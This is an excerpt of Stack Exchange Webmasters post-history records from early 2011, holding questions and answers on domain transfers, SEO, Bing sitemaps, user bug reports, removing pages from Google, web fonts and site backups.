  <row Id="18312" PostHistoryTypeId="2" PostId="8471" RevisionGUID="aa278615-e171-4d82-8f2e-73e8e7ab9018" CreationDate="2011-01-29T17:31:03.207" UserDisplayName="user522962" Text="This might be a stupid question but I am buying a domain name from a private seller. It is an individual &amp; not an established organization. How can I securely make the transaction so that he doesn't screw me and i get the domain &amp; he gets the money?&#xD;&#xA;&#xD;&#xA;Does the 3rd party charge for it? Who can do this the cheapest (and still make a secure transaction)?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18313" PostHistoryTypeId="1" PostId="8471" RevisionGUID="aa278615-e171-4d82-8f2e-73e8e7ab9018" CreationDate="2011-01-29T17:31:03.207" UserDisplayName="user522962" Text="how to transfer a domain (securely)" />
  <row Id="18314" PostHistoryTypeId="3" PostId="8471" RevisionGUID="aa278615-e171-4d82-8f2e-73e8e7ab9018" CreationDate="2011-01-29T17:31:03.207" UserDisplayName="user522962" Text="&lt;web&gt;&lt;websites&gt;&lt;domains&gt;" />
  <row Id="18315" PostHistoryTypeId="17" PostId="8471" RevisionGUID="4477fc68-0283-4438-b301-853ff019940d" CreationDate="2011-01-30T06:04:06.850" UserId="-1" Comment="from http://stackoverflow.com/questions/4838315/how-to-transfer-a-domain-securely" Text="" />
  <row Id="18316" PostHistoryTypeId="2" PostId="8473" RevisionGUID="68735ad6-041f-49a1-9ec0-8dade0b23d3a" CreationDate="2011-01-30T06:50:40.017" UserId="4461" Text="There's no REAL SEO value/impact with regards to this - there are many equally successful sites with both variations. If your blog becomes important enough, then it's worth having the date included (or a unique numeric number to abide by [Google News guidelines][1]) but other than that it's purely a personal preference. &#xD;&#xA;&#xD;&#xA;It's worth pointing out that there are scalability issues around using %category% or %postname% only in the permalink structure, see http://ottopress.com/2010/category-in-permalinks-considered-harmful/ for more information&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/news_pub/bin/answer.py?hl=en&amp;answer=68323" />
  <row Id="18317" PostHistoryTypeId="5" PostId="8445" RevisionGUID="8a3697b4-066d-4e37-9ae5-3ebafbf97c2a" CreationDate="2011-01-30T07:20:00.737" UserId="4643" Comment="added 522 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;@Lèse majesté:  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in [this my question][1]   &#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2], even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported" />
  <row Id="18318" PostHistoryTypeId="2" PostId="8474" RevisionGUID="dcd912bd-6e87-4ba1-ba77-4c15d9dda9d4" CreationDate="2011-01-30T07:27:56.273" UserId="4461" Text=" 1. Bing now powers all of Yahoo search (effectively), so you can stop considering submission to Yahoo&#xD;&#xA; 2. No, Bing - despite various [mentions][1] of it over the last two years, doesn't accept specific video sitemaps (mRSS) or anything beyond your normal XML&#xD;&#xA; 3. Yes, [Bing does support sitemap index files][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/webmaster/f/12252/p/647022/9539206.aspx#9539206&#xD;&#xA;  [2]: http://www.bing.com/webmaster/support/Sitemaps.htm" />
  <row Id="18319" PostHistoryTypeId="2" PostId="8475" RevisionGUID="f8bd1258-bbb8-4831-b764-20daa6057b93" CreationDate="2011-01-30T08:05:01.760" UserId="2196" Text="I'm sure most webmasters have recived a mail like this:&#xD;&#xA;&#xD;&#xA;&gt; Creating [insert item here] is not&#xD;&#xA;&gt; working!&#xD;&#xA;&#xD;&#xA;When you check it out there is no general problem with the function but rather the user has discovered an edge case. Almost every mail I get is like this and in the long run it gets a bit annoying to always have to ask the user for more information.&#xD;&#xA;&#xD;&#xA;Is there anything I can do to get my users provide more useful feedback? Right now I have a mailto: for the webmaster mail in the page footer. I was thinking of changing this so that they have to report through a form on the site. &#xD;&#xA;&#xD;&#xA;Anyone got any experience with this? Do you get better/more reports by having a feedback form instead of giving the users the email?      " />
  <row Id="18320" PostHistoryTypeId="1" PostId="8475" RevisionGUID="f8bd1258-bbb8-4831-b764-20daa6057b93" CreationDate="2011-01-30T08:05:01.760" UserId="2196" Text="How to get useful feedback/bug reports from users" />
  <row Id="18321" PostHistoryTypeId="3" PostId="8475" RevisionGUID="f8bd1258-bbb8-4831-b764-20daa6057b93" CreationDate="2011-01-30T08:05:01.760" UserId="2196" Text="&lt;usability&gt;&lt;users&gt;&lt;bugs&gt;" />
  <row Id="18322" PostHistoryTypeId="25" PostId="8463" RevisionGUID="93cfaeac-7f2c-4cef-be31-83f45f8d0a12" CreationDate="2011-01-30T08:16:11.670" Comment="http://twitter.com/#!/StackWebmasters/status/31626717621657600" />
  <row Id="18323" PostHistoryTypeId="25" PostId="8243" RevisionGUID="24ea3669-7874-4791-b067-d3d7ea4ecb48" CreationDate="2011-01-30T11:16:11.637" Comment="http://twitter.com/#!/StackWebmasters/status/31672015710584832" />
  <row Id="18324" PostHistoryTypeId="2" PostId="8476" RevisionGUID="28856cd9-5b69-41c7-b204-80ef24291d9c" CreationDate="2011-01-30T12:57:09.567" UserDisplayName="user1364" Text="I have used www.awardspace.com out of Germany. I like them even though they had a serious problem earlier in the month. " />
  <row Id="18325" PostHistoryTypeId="2" PostId="8477" RevisionGUID="cd7fbd93-45b5-41ae-bc3d-3a52d53d3f7a" CreationDate="2011-01-30T13:07:47.937" UserId="5026" Text="I have a basic grasp of SEO principles, probably 12-24 months old.&#xD;&#xA;&#xD;&#xA;I'm about to start a blog, after having a few previously.&#xD;&#xA;&#xD;&#xA;Is there a comparison of the SEO capabilities of different blogging software/blogging plugins?  I'd like things to be as optimised as possible.&#xD;&#xA;&#xD;&#xA;Also, I'm not up to speed on what pings are in the blogging world.  What are they, and how do they work?&#xD;&#xA;&#xD;&#xA;I assume it is best to have blogging software that automatically pings.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;Steve" />
  <row Id="18326" PostHistoryTypeId="1" PostId="8477" RevisionGUID="cd7fbd93-45b5-41ae-bc3d-3a52d53d3f7a" CreationDate="2011-01-30T13:07:47.937" UserId="5026" Text="Search engine friendly, SEO blog software" />
  <row Id="18327" PostHistoryTypeId="3" PostId="8477" RevisionGUID="cd7fbd93-45b5-41ae-bc3d-3a52d53d3f7a" CreationDate="2011-01-30T13:07:47.937" UserId="5026" Text="&lt;seo&gt;&lt;blog&gt;" />
  <row Id="18328" PostHistoryTypeId="5" PostId="8420" RevisionGUID="03efb52a-b446-40e8-af15-6899152a42a4" CreationDate="2011-01-30T13:14:26.683" UserId="4461" Comment="Fixed small spelling and punctuation" Text="In WordPress, I have the option to choose how the permanent URL looks like.&#xD;&#xA;&#xD;&#xA;The common format is Year/Month/Day or Year/Month for blogs. However, I’ve occasionally seen some successful blogs take the date out, such as: http://mixergy.com/dane-maxwell-zannee-interview/&#xD;&#xA;&#xD;&#xA;What’s the impact of the above format on SEO?&#xD;&#xA;&#xD;&#xA;Obviously, it’s more pleasant on the eye but does it negatively impact search ranking?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="18329" PostHistoryTypeId="24" PostId="8420" RevisionGUID="32604e74-b754-4ff4-b2e6-37d864c8f669" CreationDate="2011-01-30T13:14:26.683" Comment="Proposed by 4461 approved by 108 edit id of 2" />
  <row Id="18330" PostHistoryTypeId="5" PostId="8477" RevisionGUID="d1b337b9-bfa1-457a-964c-b4c7e14f8b92" CreationDate="2011-01-30T13:16:03.420" UserId="108" Comment="Cleaned up the question" Text="Is there a comparison of the SEO capabilities of different blogging software/blogging plugins?  I'd like things to be as optimised as possible.&#xD;&#xA;&#xD;&#xA;I have a basic grasp of SEO principles, probably 12-24 months old.&#xD;&#xA;&#xD;&#xA;I'm about to start a blog, after having a few previously.&#xD;&#xA;&#xD;&#xA;Also, I'm not up to speed on what pings are in the blogging world.  What are they, and how do they work?&#xD;&#xA;&#xD;&#xA;I assume it is best to have blogging software that automatically pings." />
  <row Id="18331" PostHistoryTypeId="2" PostId="8478" RevisionGUID="3f8812cd-10b4-465f-9207-c08ef1fba645" CreationDate="2011-01-30T13:38:49.950" UserId="108" Text="You should look into how GoDaddy has built there tool, http://www.godaddy.com/domainaddon/domain-alert.aspx.&#xD;&#xA;&#xD;&#xA;You probably do a whois on each domain someone is interested in on a server and then post that information to a web page.&#xD;&#xA;&#xD;&#xA;Also, for more information on what PENDINGDELETE is, checkout http://www.domainpunch.com/support/articles/domainstatus.php." />
  <row Id="18332" PostHistoryTypeId="2" PostId="8479" RevisionGUID="ffad8970-119e-4b25-955f-46aa417f7b21" CreationDate="2011-01-30T13:42:23.923" UserId="108" Text="I have done both before.  The key is to make as short of a list as possible for them to describe the issue. If you give them a 20 question form to fill out they will be lost.  &#xD;&#xA;&#xD;&#xA;Your best bet is answers questions for them. For instance you can scrape the browser version, OS, screen resolution, etc from the browser when they click submit so they don't have to enter it.  Then all you need to know is the info they put into the page and what they clicked in what order.  If you allow them to enter a screen shot file that could go a long way since many users now how to do that and sometimes a picture is worth a 1,000 words." />
  <row Id="18333" PostHistoryTypeId="2" PostId="8480" RevisionGUID="261ad74f-f801-403e-a27c-6f3ccf7b0a5f" CreationDate="2011-01-30T13:45:43.730" UserId="108" Text="Users could also be right-clicking which causes a new window to open which allows them to click again. Or they could be clicking an ad and then clicking back and doing it again.  &#xD;&#xA;&#xD;&#xA;I don't believe the back button reloads the page so that would not record a page view but the click through would be recorded if they click a second link." />
  <row Id="18334" PostHistoryTypeId="2" PostId="8481" RevisionGUID="dced9e12-c1d1-4a45-b7dd-0fee4a160ea4" CreationDate="2011-01-30T14:10:10.267" UserId="1253" Text="I did a quick Google search and didn't see any comparisons of blogging software for SE friendliness. But Wordpress is definitely built to be search engine friendly and can be made even more so using a wide [variety of plugins][1].&#xD;&#xA;&#xD;&#xA;If you want to  know more about Pinging read these two questions:&#xD;&#xA;&#xD;&#xA;[What do Trackbacks and Pingbacks do?][2]&#xD;&#xA;&#xD;&#xA;[Does pinging the page on social bookmarking sites whre your site has been bookmarked help SEO?][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/tags/seo&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1968/what-do-trackbacks-and-pingbacks-do&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/5058/does-pinging-the-page-on-social-bookmarking-sites-whre-your-site-has-been-bookmar" />
  <row Id="18335" PostHistoryTypeId="25" PostId="8477" RevisionGUID="91897e79-6f76-465a-9a1a-91d64eda59f8" CreationDate="2011-01-30T14:16:12.107" Comment="http://twitter.com/#!/StackWebmasters/status/31717316118978562" />
  <row Id="18336" PostHistoryTypeId="10" PostId="8445" RevisionGUID="6a24cdc0-4fc8-49da-9c4c-100aa13bcab6" CreationDate="2011-01-30T14:18:38.337" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18337" PostHistoryTypeId="2" PostId="8482" RevisionGUID="c20a47b5-82f6-4259-aabf-fe69aca56aea" CreationDate="2011-01-30T14:25:25.560" UserId="5027" Text="I backup my client's websites and database dumps incrementally from production servers to a backup server using rsnapshot. This gives me daily, weekly, and monthly backup sets that are very simple to restore without huge amounts of wasted space. &#xD;&#xA;&#xD;&#xA;I then use duplicity to created compressed, encrypted backups of the latest daily rsnapshot backups, and use rsync to transfer these to the Rackspace cloud using Jungledisk. As I'm only dealing with a few GB's of data, the cost is next to nothing. " />
  <row Id="18338" PostHistoryTypeId="2" PostId="8483" RevisionGUID="4f5f3e24-1764-4b63-8960-230ff413b193" CreationDate="2011-01-30T14:51:23.320" UserId="3382" Text="Since IE8 is such a backward browser, I was wondering if there are any web-sites on the Internet that just don't support IE altogether (and block it via conditional comments, for instance)? &#xD;&#xA;&#xD;&#xA;I remember stumbling upon web-sites that block Firefox in the past (like ~2004). &#xD;&#xA;&#xD;&#xA;The justification of blocking IE is (obviously): You don't want to deal with IE bugs, and you don't want to have to maintain IE-specific hack and workarounds." />
  <row Id="18339" PostHistoryTypeId="1" PostId="8483" RevisionGUID="4f5f3e24-1764-4b63-8960-230ff413b193" CreationDate="2011-01-30T14:51:23.320" UserId="3382" Text="Are there any web-sites out there that block IE altogether?" />
  <row Id="18340" PostHistoryTypeId="3" PostId="8483" RevisionGUID="4f5f3e24-1764-4b63-8960-230ff413b193" CreationDate="2011-01-30T14:51:23.320" UserId="3382" Text="&lt;websites&gt;&lt;internet-explorer&gt;" />
  <row Id="18341" PostHistoryTypeId="2" PostId="8484" RevisionGUID="e4109d4f-12b2-4dc2-b091-12be0899f72c" CreationDate="2011-01-30T15:17:55.113" UserId="2196" Text="I'm sure you can find some site on the whole net but I would imagine these sites aren't very succesful unless they have a really specific audience to start with(Like developers for example). &#xD;&#xA;&#xD;&#xA;I looked at one of my sites with a very mixed audiance(sports club website). And I have about 65% IE users. Blocking that many visitors it would be much harder for the site to get traction and reach critical mass. &#xD;&#xA;&#xD;&#xA;I would say IE8 is a quite capable browser as long as you stay away from CSS3 and HTML5. Older versions are a pain in the arse though. Instead of blocking the access it would be much wiser to show a warning explaining why it look and work bad. This way the site can show what it has to offer while hopefully encouraging the user to get a better browser. I would expect any larger site adapted to IE atleast partially. Noone is going to download a new browser because of a site they haven't seen the content of.&#xD;&#xA;&#xD;&#xA;If you were searching for examples I'm sorry I couldn't help you. I think it is very rare to block all versions of IE and I have never seen it.    " />
  <row Id="18342" PostHistoryTypeId="5" PostId="2547" RevisionGUID="5153d544-09e9-428a-b986-b9847fa1eab9" CreationDate="2011-01-30T16:04:28.673" UserId="1429" Comment="added 319 characters in body" Text="If you go to [my user page][1] on Stack Overflow and you check it with the Gogle bar you can see has got no PR at all (this does happen for almost any user page, even people with [much][2] [higher][3] [reputation][4], the only exceptions seem to be the [users in page 1][5], and [some other users][6] they have PR).&#xD;&#xA;&#xD;&#xA;**My user page's Page Rank is not only zero, but not calculated at all.**&#xD;&#xA;&#xD;&#xA;When PR is 0 or less than 1, but calculated the Google bar shows white, but when the PR is not even calculated like in my user page the Google bar shows in grey.&#xD;&#xA;&#xD;&#xA;![alt text][7]&#xD;&#xA;&#xD;&#xA;I further more discovered that **my user page is NOT EVEN INDEXED on Google**, simple test is [searching on Google for the exact page url][8]: &quot;http://stackoverflow.com/users/260080/marco-demaio&quot; and you will see no result.&#xD;&#xA;&#xD;&#xA;The question is **how can this be???&#xD;&#xA;This is really weird to me because of the following reason:**&#xD;&#xA;&#xD;&#xA;If you search on Google for &quot;Marco Demaio&quot; on stackoverflow site only (you can do this by searching &quot;site:stackoverflow.com Marco Demaio&quot;) the [search result][9] shows hundreds of 'asking/answering questions' pages where I was 'tagged'!!! Let's check one of these: [the 1st one that appears now][10] (shows one of the question I asked). We can be sure this page is indexed in Google because comes out in a search moreover its PR is calculated, it's probably nearly zero, but still **some PR flows there**, **the PR bar is not grey, but white**:&#xD;&#xA;&#xD;&#xA;![alt text][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[The page shown above][12] has got links to [my own user page][13]. I checked the source code of the page shown above and the links are not **hidden or set with a rel=&quot;nofollow&quot;**, moreover I can't see any meta character excluding the links on the page from being followed.&#xD;&#xA;&#xD;&#xA;**So what's happening? Why Google does not see [my user page][14] at all.**&#xD;&#xA;&#xD;&#xA;**Did stackoverflow do something to achieve this? If yes what did they do?** &#xD;&#xA;&#xD;&#xA;Any explantion really appreciates (as always).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. obviously I checked also the code of my user page, but I could not find meta tags excluding Google search for the page.&#xD;&#xA;&#xD;&#xA;P.S. 2 in a desperate adventure I also checked StackOverflow [robots][15] but it does not seem to exclude user pages.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**UPDATE 1**&#xD;&#xA;&#xD;&#xA;following up on some answers, I did some more research. Excluding for a while the PR problem (since PR is not science), and looking only at the **user page on StackOverflow NOT BEING INDEXED problem**: **pages do not seem to be indexed by Google because of the user reputation**, [this user][16] for instance has got NOW 200 points less reputation than me and his page is indexed (while mine not).&#xD;&#xA;**It does not seem even to be connected with months you have been on Stackoverflow**, [this user][17] (almost my same reputation) has been there for 3 months only and his page is indexed (while mine not and I have been a user for 7 months).&#xD;&#xA;&#xD;&#xA;It's bizzarre!&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**UPDATE February/2011**&#xD;&#xA;As of today the page got indexed by Google at least when you search for &quot;site:stackoverflow.com Marco Demaio&quot; it's the 1st page.&#xD;&#xA;The amazing thing is that it has still got NO PageRank at all: Google toolbar states loud and clear &quot;No PageRank information available&quot;.&#xD;&#xA;&#xD;&#xA;It's odd!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [2]: http://stackoverflow.com/users/148870/amber&#xD;&#xA;  [3]: http://stackoverflow.com/users/21886/richiehindle&#xD;&#xA;  [4]: http://stackoverflow.com/users/67132/michael&#xD;&#xA;  [5]: http://stackoverflow.com/users?page=1&amp;tab=&#xD;&#xA;  [6]: http://stackoverflow.com/users/1/jeff-atwood&#xD;&#xA;  [7]: http://i.stack.imgur.com/uAZiC.jpg&#xD;&#xA;  [8]: http://www.google.com/#hl=en&amp;source=hp&amp;q=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;btnG=Google+Search&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;gs_rfai=&amp;pbx=1&amp;fp=7db4f7af4a13aa89&#xD;&#xA;  [9]: http://www.google.it/#q=site:stackoverflow.com+Marco+Demaio&amp;hl=en&amp;prmd=o&amp;ei=_AZ1TOriCsyWOLfwyKAG&amp;start=20&amp;sa=N&amp;fp=33793d66ac60e1ca&#xD;&#xA;  [10]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [11]: http://i.stack.imgur.com/NctIF.jpg&#xD;&#xA;  [12]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [13]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [14]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [15]: http://stackoverflow.com/robots.txt&#xD;&#xA;  [16]: http://stackoverflow.com/users/308392/michal-trybus&#xD;&#xA;  [17]: http://stackoverflow.com/users/348350/pieter" />
  <row Id="18343" PostHistoryTypeId="2" PostId="8485" RevisionGUID="781a1452-1481-4924-824e-06bc38d2c3fb" CreationDate="2011-01-30T16:06:41.573" UserDisplayName="user5030" Text="Is there any free &quot;movie website&quot; script/code in PHP? &#xD;&#xA;&#xD;&#xA;I don't want video sharing ones like this: http://www.phpmotion.com/  &#xD;&#xA;&#xD;&#xA;I just want something to manage and display a database of movies.  Like forfreemovie.com (but this is paid one).&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="18344" PostHistoryTypeId="1" PostId="8485" RevisionGUID="781a1452-1481-4924-824e-06bc38d2c3fb" CreationDate="2011-01-30T16:06:41.573" UserDisplayName="user5030" Text="Free movie website scripts" />
  <row Id="18345" PostHistoryTypeId="3" PostId="8485" RevisionGUID="781a1452-1481-4924-824e-06bc38d2c3fb" CreationDate="2011-01-30T16:06:41.573" UserDisplayName="user5030" Text="&lt;php&gt;&lt;cms&gt;&lt;free&gt;" />
  <row Id="18346" PostHistoryTypeId="25" PostId="8475" RevisionGUID="db0fffff-8212-4f53-a810-562f87d77b94" CreationDate="2011-01-30T17:16:12.840" Comment="http://twitter.com/#!/StackWebmasters/status/31762617496248320" />
  <row Id="18347" PostHistoryTypeId="5" PostId="7015" RevisionGUID="704ce402-0cec-4cce-9332-465c340fd1ea" CreationDate="2011-01-30T17:37:04.237" UserId="3307" Comment="added 186 characters in body" Text="If you want to keep it as an HTML page with no server side scripting, you can use Javascript to get the date last modified.&#xD;&#xA;&#xD;&#xA;[Instructions here][1]&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;W3Schools (I know not always the most reliable source, but worth a look for this) has [this to say][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.chami.com/tips/internet/041198i.html&#xD;&#xA;  [2]: http://www.w3schools.com/jsref/prop_doc_lastmodified.asp" />
  <row Id="18348" PostHistoryTypeId="2" PostId="8486" RevisionGUID="d2d07959-3d06-437c-b241-6f277e581587" CreationDate="2011-01-30T18:24:19.760" UserId="3318" Text="I want a nice hangul font. Can somebody indicate one ? Something elegant and beautiful like this England calligraphy:&#xD;&#xA;&#xD;&#xA;![Calligraphy][1]&#xD;&#xA;&#xD;&#xA;I would like to apply it using css 3:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    	&lt;head&gt;&#xD;&#xA;    		&lt;meta charset = &quot;utf-8&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    		&lt;style&gt;&#xD;&#xA;    			@font-face {&#xD;&#xA;    				font-family: &quot;hangul&quot;;&#xD;&#xA;    				src: url(&quot;hangul.ttf&quot;);&#xD;&#xA;    			}&#xD;&#xA;    &#xD;&#xA;    			body {&#xD;&#xA;    				font-family: hangul;&#xD;&#xA;    			}&#xD;&#xA;    		&lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    		&lt;title&gt;&lt;/title&gt;&#xD;&#xA;    	&lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    	&lt;body&gt;&#xD;&#xA;    		컴 투 미&#xD;&#xA;    	&lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/JmIWA.png" />
  <row Id="18349" PostHistoryTypeId="1" PostId="8486" RevisionGUID="d2d07959-3d06-437c-b241-6f277e581587" CreationDate="2011-01-30T18:24:19.760" UserId="3318" Text="Hangul calligraphy (TTF)" />
  <row Id="18350" PostHistoryTypeId="3" PostId="8486" RevisionGUID="d2d07959-3d06-437c-b241-6f277e581587" CreationDate="2011-01-30T18:24:19.760" UserId="3318" Text="&lt;fonts&gt;&lt;css3&gt;&lt;sites&gt;" />
  <row Id="18351" PostHistoryTypeId="17" PostId="8486" RevisionGUID="9e5f16fd-b157-46cb-8469-9e47750338b4" CreationDate="2011-01-30T18:51:39.180" UserId="-1" Comment="from http://stackoverflow.com/questions/4844649/hangul-calligraphy-ttf" Text="" />
  <row Id="18352" PostHistoryTypeId="17" PostId="8488" RevisionGUID="36906452-d2f9-4881-9105-d8377b09d28f" CreationDate="2011-01-30T19:10:43.513" UserId="-1" Comment="from http://stackoverflow.com/questions/4844785/how-to-remove-urls-from-google-search-engine/4844796#4844796" Text="" />
  <row Id="18353" PostHistoryTypeId="17" PostId="8489" RevisionGUID="ac7bb0f3-ba19-4005-b618-be81a13f5e36" CreationDate="2011-01-30T19:10:43.513" UserId="-1" Comment="from http://stackoverflow.com/questions/4844785/how-to-remove-urls-from-google-search-engine/4844808#4844808" Text="" />
  <row Id="18354" PostHistoryTypeId="2" PostId="8488" RevisionGUID="8ea4a017-b94f-46b1-af6f-a7a7b567c079" CreationDate="2011-01-30T18:54:23.353" UserDisplayName="coreyward" Text="The short answer in the context of being practical: **you can't**. &#xD;&#xA;&#xD;&#xA;What you *can* do is remove links that point to them and make sure that the pages respond with a 404 status code, and when Google sees that the pages are no longer in existence they'll eventually purge them from results." />
  <row Id="18355" PostHistoryTypeId="2" PostId="8489" RevisionGUID="29ac82a9-8dec-4af2-8b3f-a12fae254880" CreationDate="2011-01-30T18:58:25.177" UserDisplayName="payne" Text="In general, you can't.  But there are some options.&#xD;&#xA;&#xD;&#xA;One option is to remove the pages from your server entirely, and make sure they respond with 404 errors.&#xD;&#xA;&#xD;&#xA;Another is to use the `robots.txt` file to prevent Google from crawling the content.  This will certainly prevent new pages from being indexed, but it may take a while for existing pages to no longer show up.&#xD;&#xA;&#xD;&#xA;A final option is to use the `noindex` meta tag.&#xD;&#xA;&#xD;&#xA;For details, see Google's page on this topic:  http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734" />
  <row Id="18356" PostHistoryTypeId="2" PostId="8487" RevisionGUID="9c14351d-97f0-4ff6-bfa5-ec6e1a44ae9b" CreationDate="2011-01-30T18:50:52.407" UserDisplayName="Web Trainings" Text="I have used so many things like url removal request and deleted the pages etc.&#xD;&#xA;&#xD;&#xA;but still the errors are shown in my web master tools.&#xD;&#xA;&#xD;&#xA;How can i remove the urls completely from google&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Md Azhar" />
  <row Id="18357" PostHistoryTypeId="1" PostId="8487" RevisionGUID="9c14351d-97f0-4ff6-bfa5-ec6e1a44ae9b" CreationDate="2011-01-30T18:50:52.407" UserDisplayName="Web Trainings" Text="How to Remove URLs from Google Search Engine" />
  <row Id="18358" PostHistoryTypeId="3" PostId="8487" RevisionGUID="9c14351d-97f0-4ff6-bfa5-ec6e1a44ae9b" CreationDate="2011-01-30T18:50:52.407" UserDisplayName="Web Trainings" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="18359" PostHistoryTypeId="17" PostId="8487" RevisionGUID="9c4af9a0-ec46-4691-a6ee-872bf7f04200" CreationDate="2011-01-30T19:10:43.513" UserId="-1" Comment="from http://stackoverflow.com/questions/4844785/how-to-remove-urls-from-google-search-engine" Text="" />
  <row Id="18360" PostHistoryTypeId="2" PostId="8490" RevisionGUID="44ed0c9e-31ef-45f2-902b-0f4071ae2b07" CreationDate="2011-01-30T19:59:01.907" UserId="1253" Text="You can: [Remove a page or site from Google's search results][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734" />
  <row Id="18361" PostHistoryTypeId="25" PostId="8487" RevisionGUID="f88e9fb2-2b24-46c7-8b23-a23581efbc0c" CreationDate="2011-01-30T20:16:13.180" Comment="http://twitter.com/#!/StackWebmasters/status/31807916788940802" />
  <row Id="18362" PostHistoryTypeId="10" PostId="8463" RevisionGUID="a59b095b-f8ff-4680-a160-6009c756ce01" CreationDate="2011-01-30T23:10:12.583" UserId="138" CloseReasonId="7" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="18363" PostHistoryTypeId="25" PostId="8486" RevisionGUID="04ac5ddd-cb39-4dfb-b063-7e7dcbd71580" CreationDate="2011-01-30T23:16:13.180" Comment="http://twitter.com/#!/StackWebmasters/status/31853215947427840" />
  <row Id="18364" PostHistoryTypeId="2" PostId="8491" RevisionGUID="e97d4910-8cd7-4c0e-ba52-593f47cd9397" CreationDate="2011-01-30T23:22:48.103" UserId="5035" Text="Does anyone know where I could find copies of the Mambo 3.0.x distributions, manuals and (ideally) instructions for upgrading to Mambo 4.x or Joomla?&#xD;&#xA;&#xD;&#xA;I have an old site implemented in Mambo 3 that needs to be upgraded.  It doesn't work with PHP 5 without hacks that compromise PHP security, and the site admin and navigation menus are broken for &quot;modern&quot; browsers; e.g. IE6 and later." />
  <row Id="18365" PostHistoryTypeId="1" PostId="8491" RevisionGUID="e97d4910-8cd7-4c0e-ba52-593f47cd9397" CreationDate="2011-01-30T23:22:48.103" UserId="5035" Text="Where can I find Mambo 3 downloads / documentation?" />
  <row Id="18366" PostHistoryTypeId="3" PostId="8491" RevisionGUID="e97d4910-8cd7-4c0e-ba52-593f47cd9397" CreationDate="2011-01-30T23:22:48.103" UserId="5035" Text="&lt;joomla&gt;" />
  <row Id="18373" PostHistoryTypeId="6" PostId="8491" RevisionGUID="05dee01e-5e3f-4b2f-9a34-443feb3c1040" CreationDate="2011-01-31T01:20:35.230" UserId="1253" Comment="removed &quot;joomla&quot; tag added &quot;mambo&quot;" Text="&lt;untagged&gt;" />
  <row Id="18374" PostHistoryTypeId="17" PostId="8494" RevisionGUID="e2f7488e-359a-4ef6-9584-f7482d246e8d" CreationDate="2011-01-31T01:33:35.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4837530/how-can-i-know-if-my-site-is-down/4837562#4837562" Text="" />
  <row Id="18375" PostHistoryTypeId="17" PostId="8495" RevisionGUID="323edec5-3ae7-407a-aa0d-0905a22c132e" CreationDate="2011-01-31T01:33:35.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4837530/how-can-i-know-if-my-site-is-down/4837585#4837585" Text="" />
  <row Id="18376" PostHistoryTypeId="17" PostId="8496" RevisionGUID="08575349-afca-4e3f-874e-eac121423cf4" CreationDate="2011-01-31T01:33:35.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4837530/how-can-i-know-if-my-site-is-down/4837615#4837615" Text="" />
